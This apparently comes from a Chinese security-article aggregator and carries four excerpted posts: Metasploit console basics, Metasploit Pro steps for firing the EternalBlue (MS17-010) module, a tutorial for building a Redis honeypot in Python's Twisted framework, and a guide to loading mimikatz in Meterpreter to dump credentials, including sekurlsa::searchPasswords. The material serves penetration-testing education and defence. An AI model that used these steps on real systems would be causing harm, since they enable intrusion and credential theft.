上节内容Metasploit6.0系列教程 -- MSF术语一、启动命令msfconsole二、显示命令:show1、show evasion查看evasion模块包含的内容2、show optionsuse,选择某模块,然后查看需要设置的参数3、show 按两次键盘上的Tab键,显示show 可用参数三、设置命令:setset srvport 8888四、可直接执行OS命令五、连接数据库1、初始化msfdb init2、启动MSF查看数据库状态db_status六、查看可利用插件load tab七、搜索模块1、search windows:搜索包含windows的模块2、search windows type:exploit 只搜索包含windows的攻击模块该系列教程内容参考自华章IT出版的《Web渗透测试实战:基于Metasploit 5.0》禁止非法,后果自负欢迎关注公众号:web安全工具库欢迎关注视频号:之乎者也吧 原文始发于微信公众号(web安全工具库):Metasploit6.0系列教程 -- MSF控制台命令
阅读全文
Metasploit Pro -- 模块利用 安全文章

Metasploit Pro -- 模块利用

Metasploit Pro 4.20.0安装与使用一、辅助模块1、根据上节课内容,我们回到home界面,点击aiyou项目进入,可以看到主机发现的漏洞相关内容2、点击services进入,可以看到该主机开启的服务及详细情况介绍,我们以SMB为例3、点击Modules选项卡,在搜索框里填写要搜索的漏洞关键字,找到我们要利用的模块4、点击SMB Version Detection进入,点击Run Module运行该模块二、漏洞利用模块1、选择Modules选项卡,然后搜索EternalBlue关键字,可以看到该漏洞的相关信息,点击MS17-010 EternalBlue SMB Remote该利用漏洞进入2、填写该漏洞需要的相关的信息,点击Run Module运行漏洞3、查看扫描结果,会出现一个session连接,下面就是后渗透了。该系列教程内容参考自华章IT出版的《Web渗透测试实战:基于Metasploit 5.0》简介:对于网络漏洞利用和后渗透,我们可以找到大量资源,但是就Web应用渗透测试而言,选择Metasploit的人并不多。本书将帮助安全顾问和专业人士了解Metasploit在Web应用渗透测试中的作用,使读者能够在Metasploit的帮助下更有效地进行Web应用渗透测试。禁止非法,后果自负欢迎关注公众号:web安全工具库欢迎关注视频号:之乎者也吧 本文始发于微信公众号(web安全工具库):Metasploit Pro -- 模块利用
阅读全文
从零编写一个自己的蜜罐系统 安全闲碎

从零编写一个自己的蜜罐系统

一、前言随着新型的APT攻击的出现,很多企业意识到传统安全技术手段已经无法满足对内部威胁的及时发现,而蜜罐由于其天然的特性–因为蜜罐并未对网络提供任何有价值的服务,所以任何对蜜罐的尝试都是可疑的,许多公司会选择在内网部署一套蜜罐来进行发现预警。而开源的蜜罐的语言不一,例如ssh蜜罐cowrie采用的是python,es蜜罐elastichoney采用的是go语言,服务型蜜罐dionaea底层是c语言,部署管理起来并不方便。所以,如果对蜜罐程序的交互性要求不高,自己来模拟实现一套蜜罐程序是比较理想的方式。以下是笔者的一些实践,代码写得比较渣,望各位大佬轻喷。二、项目架构介绍整个项目的架构比较简单,主要分为三个模块:日志记录模块,数据包解析模块以及协议实现模块。其中日志模块不需要多说,主要作为蜜罐捕获的相关行为的记录。数据包解析模块:是将攻击者发送的命令按照相关协议的数据包格式解析出来,这个后面会以redis的数据包格式为例详细说明。协议实现模块:对我们所需要的相关服务协议的一个模拟。本项目采用twisted框架来实现。Twisted是用python实现的基于事件驱动的网络引擎框架,Twisted支持许多常见的传输及应用层协议,包括TCP、UDP、SSL/TLS、HTTP、IMAP、SSH、IRC以及FTP。利用Twisted框架,我们可以轻松的模拟出一个我们所需要的蜜罐协议。实现一个简单的协议需要以下几步。首先定义一个RedisServer类,继承Procotol类,用于处理接收到命令。包含三个函数,第一个connectionMade方法, 当连接建立的时候的动作; 第二个dataReceived方法,当收到数据时对数据的处理,调用self.transport.write()来返回结果; 第三个:connectionLost方法, 当连接断开的时候的动作。class RedisServer(Protocol): def __init__(self): pass def connectionMade(self): pass def dataReceived(self, rcvdata): self.transport.write() def connectionLost(self, reason): pass2. 定义一个RedisServerFactory类,继承ServerFactory,用于创建RedisServer的实例class RedisServerFactory(ServerFactory): protocol = RedisServer3. 使用reactor启动程序,并监听端口reactor.listenTCP(6379, RedisServerFactory())reactor.run()三、协议格式解析在编写相关处理代码之前,我们需要了解协议的格式。以redis为例,客户端发送命令的格式有5种类型。1. 简单字符串 Simple Strings, 以 “+”加号 开头格式:+ 字符串 rn字符串不能包含 CR 或者 LF( 不允许换行 )eg: "+OKrn"2. 错误 Errors, 以”-”减号 开头格式:- 错误前缀 错误信息 rn错误信息不能包含 CR或者 LF(不允许换行),Errors与Simple Strings很相似,不同的是Errors会被当 作异常来看待eg:"-Error unknow command 'foobar'rn"3. 整数型 Integer, 以 “:” 冒号开头格式:: 数字 rneg:":1000rn"4. 大字符串类型 Bulk Strings, 以 “$”美元符号开头,长度限制512M格式:$ 字符串的长度 rn 字符串 rn字符串不能包含 CR或者 LF(不允许换行);eg: "$6rnfoobarrn" 其中字符串为foobar,而6就是foobar的字符长度5. 数组类型 Arrays,以 “*”星号开头格式:* 数组元素个数 rn 其他所有类型 ( 结尾不需要rn)注意:只有元素个数后面的rn是属于该数组的,结尾的rn一般是元素的eg: "*0rn" 空数组例如set name 1的数据格式如下:*3rn$3rnsetrn$4rnnamern$1rn1*3代表的是数组的长度为3(数据长度是以空格作为分隔符统计),rn是回车换行,$n代表每个字符串的长度,后面是字符串。以下是redis客户端发送set testtest命令的数据包截图,可以看到返回的格式与上面所述相同。四、相关代码在了解了相关的基本信息之后,我们就可以开始着手编写我们的redis蜜罐代码了。4.1 日志模块首先是日志记录模块,这个部分比较简单,是直接写入到数据库还是记录到日志文件可以根据自己需求选择。这里我利用twisted框架自带的twisted.python.logfile库,实现每日自动生成相应的日志文件。class JsonLog(object): def __init__(self): dire = os.path.dirname('/opt/redispot/log/') self.outfile = twisted.python.logfile.DailyLogFile("redis.log", dire, defaultMode=0o664)4.2...
阅读全文
工具的使用|MSF中mimikatz模块的使用 安全文章

工具的使用|MSF中mimikatz模块的使用

目录mimikatz模块的加载mimikatz模块的使用mimikatz_command模块的用法mimikatz模块的加载MSF中的mimikatz模块,可以列举出系统中的各种凭据,以及执行一些mimikatz相关的命令。目前,该模块已经更新为功能更全的kiwi模块,传送门:工具的使用 | MSF中kiwi模块的使用使用 mimikatz 模块需要System权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。提权到system权限进程迁移kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。mimikatz模块的使用加载kiwi模块load mimikatz查看kiwi模块的使用help mimikatz可以看到mimikatz下有七个命令:kerberos:kerberos相关的模块livessp:尝试检索livessp凭据mimikatz_command:运行一个定制的命令msv:msv凭证相关的模块,列出目标主机的用户密码哈希ssp:ssp凭证相关的模块tspkg:tspkg凭证相关的模块wdigest:wdigest凭证相关的模块mimikatz_command模块的用法mimikatz_command 模块可以让我们使用mimikatz的全部功能。mimikatz_command -f mimikatz的命令例如,使用以下命令查看系统中的明文密码mimikatz_command -f sekurlsa::searchPasswords 未完待续,请关注原文! 本文始发于微信公众号(谢公子学安全):工具的使用|MSF中mimikatz模块的使用
阅读全文